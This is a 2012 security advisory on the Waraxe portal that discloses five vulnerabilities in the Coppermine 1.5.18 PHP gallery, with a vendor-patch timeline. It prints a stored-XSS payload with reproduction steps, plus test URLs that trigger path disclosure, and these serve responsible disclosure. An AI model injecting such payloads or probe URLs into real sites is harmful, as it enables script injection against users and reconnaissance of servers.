Waraxe IT Security Portal
Login or Register
September 7, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 64
Members: 0
Total: 64
Full disclosure
[SYSS-2024-030]: C-MOR Video Surveillance - OS Command Injection (CWE-78)
[SYSS-2024-029]: C-MOR Video Surveillance - Dependency on Vulnerable Third-Party Component (CWE-1395)
[SYSS-2024-028]: C-MOR Video Surveillance - Cleartext Storage of Sensitive Information (CWE-312)
[SYSS-2024-027]: C-MOR Video Surveillance - Improper Privilege Management (CWE-269)
[SYSS-2024-026]: C-MOR Video Surveillance - Unrestricted Upload of File with Dangerous Type (CWE-434)
[SYSS-2024-025]: C-MOR Video Surveillance - Relative Path Traversal (CWE-23)
Backdoor.Win32.Symmi.qua / Remote Stack Buffer Overflow (SEH)
HackTool.Win32.Freezer.br (WinSpy) / Insecure CredentialStorage
Backdoor.Win32.Optix.02.b / Weak Hardcoded Credentials
Backdoor.Win32.JustJoke.2 1 (BackDoor Pro) / Unauthenticated Remote Command Execution
Backdoor.Win32.PoisonIvy. ymw / Insecure Credential Storage
[SYSS-2024-024]: C-MOR Video Surveillance - Improper Access Control (CWE-284)
[SYSS-2024-023]: C-MOR Video Surveillance - SQL Injection(CWE-89)
[SYSS-2024-022]: C-MOR Video Surveillance - Cross-Site Request Forgery (CWE-352)
[SYSS-2024-021]: C-MOR Video Surveillance - Persistent Cross-Site Scripting (CWE-79)
[waraxe-2012-SA#081] - Multiple Vulnerabilities in Coppermine 1.5.18





Author: Janek Vind "waraxe"
Date: 29. March 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-81.html


Affected Software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Coppermine is a multi-purpose fully-featured and integrated web picture gallery
script written in PHP using GD or ImageMagick as image library with a MySQL backend.

http://coppermine-gallery.net/


Affected versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Tests were conducted against Coppermine version 1.5.18.

###############################################################################
1. Stored XSS in picture keywords
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Preconditions: privileges needed for picture keywords editing

Coppermine user with appropriate privileges is able to modify picture information:

http://localhost/cpg1518/edit_one_pic.php?id=1&what=picture

There is a field in form named as "Keywords (separate with semicolon)".
After insertion to database those keywords are later used in html meta section.
It appears, that specific user supplied data is not properly validated before
outputting as html to the end user, resulting in Stored XSS vulnerability.

Testing:

1. Open picture information editing page:

http://localhost/cpg1518/edit_one_pic.php?id=1&what=picture

2. Insert XSS payload below as keywords and click "Apply changes":

"><body onload=javascript:alert(String.fromCharCode(88,83,83))>

After that issue request to view this image:

http://localhost/cpg1518/displayimage.php?pid=1

As result we can observe XSS payload execution.


###############################################################################
2. Path Disclosure in "visiblehookpoints" plugin
###############################################################################

Test:

http://localhost/cpg1518/plugins/visiblehookpoints/index.php

Result:

Warning: require_once(include/init.inc.php) [function.require-once]:
failed to open stream: No such file or directory in
C:apache_wwwcpg1518pluginsvisiblehookpointsindex.php on line 22

Fatal error: require_once() [function.require]:
Failed opening required 'include/init.inc.php' (include_path='.;C:phppear') in
C:apache_wwwcpg1518pluginsvisiblehookpointsindex.php on line 22


###############################################################################
3. Path Disclosure in "thumbnails.php"
###############################################################################

Attack vector: user submitted GET parameters "page" and "cat"

Tests:

http://localhost/cpg1518/thumbnails.php?page[]
http://localhost/cpg1518/thumbnails.php?cat[]

Results:

Fatal error: Unsupported operand types in
C:apache_wwwcpg1518includefunctions.inc.php on line 2980

Fatal error: Unsupported operand types in
C:apache_wwwcpg1518 humbnails.php on line 160



###############################################################################
4. Path Disclosure in "usermgr.php"
###############################################################################

Attack vector: user submitted GET parameter "page"
Preconditions: admin privileges needed

Test:

http://localhost/cpg1518/usermgr.php?page[]

Result:

Fatal error: Unsupported operand types in
C:apache_wwwcpg1518usermgr.php on line 185


###############################################################################
5. Path Disclosure in "search.inc.php"
###############################################################################

Attack vector: user submitted GET parameters "newer_than" and "older_than"

Tests:

http://localhost/cpg1518/thumbnails.php?search=1&album=search&newer_than[]
http://localhost/cpg1518/thumbnails.php?search=1&album=search&older_than[]

Results:

Fatal error: Unsupported operand types in
C:apache_wwwcpg1518includesearch.inc.php on line 106

Fatal error: Unsupported operand types in
C:apache_wwwcpg1518includesearch.inc.php on line 107


Disclosure Timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

27.03.2012 Developers contacted via email
29.03.2012 Developers released patched version 1.5.20
29.03.2012 Public disclosure


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2012-03-29 (19159 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 540
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
Cybercrime news
Planned Parenthood Confirms Attack Claimed By RansomHub
Russian Doppelganger Campaign Exposed
FBI: North Korea Aggressively Hacking Cryptocurrency Firms
RansomHub Claims 210 Victims In Just 6 Months
US Government Issues Advisory On Ransomware Group Blamed For Halliburton Cyberattack
Cybercrime And Sabotage Cost German Firms $300 Billion In Past Year
Hunters International Ransomware Gang Threatens To Leak US Marshals Data
EDR Killer Ransomware: What It Is, How To Repel
Cisco Calls For UN To Revisit Cybercrime Convention
Digital Wallets Can Allow Purchases With Stolen Credit Cards
Russian Sells Almost 3,000 Logins, Gets 40 Months In Jail
Kimble To Be Extradited From New Zealand After 12 Year Fight With US
Dispossessor Ransomware Group Shut Down By US, EU Authorities
Ransomware Attack Cost LoanDepot $27 Million
Police Recover $40 Million Stolen In Business Email Scam
Proton Ransomware Evolves With Latest Zola Variant
Billion Dollar Bust As Op Shutters Cryptonator Wallet
UK Cops Shut Down Global Call Spoofing Outlet That Scammed 170k-Plus Victims
Company Paid Record-Breaking $75 Million To Ransomware Group
Global Cops Power Down World's Most Prolific DDoS Dealership
Malware Scammers Gearing Up For 2024 Summer Olympics
FIN7 Is Peddling EDR-Nerfing Malware To Ransomware Operators
Ransomware Continues To Pile On Costs For Critical Infrastructure Victims
Rite Aid Says Hack Impacts 2.2 Million People
State, Local Governments Facing Deluge Of Phishing Attacks
Hacker news
Recent SonicWall Firewall Vuln Exploited In The Wild
Russian Doppelganger Campaign Exposed
White House's New Fix For Cyber Job Gaps: Serve The Nation In Infosec
North Korean Hackers Target Job Seekers With Fake App
Colorado Tops List Of Cyberattacks Per Capita In The US
Cicada Ransomware May Be A BlackCat/ALPHV Rebrand And Upgrade
FBI: North Korea Aggressively Hacking Cryptocurrency Firms
Transport For London Confirms Cyberattack
Intel Responds To SGX Hacking Research
Halliburton Says Hackers Removed Data In Cyberattack
Hacker Leaks Data Of 390 Million Users From VK, A Russian Social Network
Novel Attack On Windows Spotted In Phishing Campaign
RansomHub Claims 210 Victims In Just 6 Months
Researcher Sued For Sharing Data Stolen By Ransomware With Media
Tired Of Airport Security Queues? SQL Inject Yourself Into The Cockpit, Claims Reseachers
US Government Issues Advisory On Ransomware Group Blamed For Halliburton Cyberattack
Brain Cipher Claims Attack On Olympic Venue, Promises 300 GB Data Leak
Unpatchable Zero Day In Surveillance Cam Is Being Exploited To Install Mirai
Dick's Sporting Goods Discloses Cyberattack
From Copilot To Copirate: How Data Thieves Could Hijack Microsoft's Chatbot
Cybercrime And Sabotage Cost German Firms $300 Billion In Past Year
Malware Delivered Via Malicious Pidgin Plugin, Signal Fork
Hunters International Ransomware Gang Threatens To Leak US Marshals Data
EDR Killer Ransomware: What It Is, How To Repel
Hackers Infect ISPs With Malware That Steals Customer Credentials
Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.125 Seconds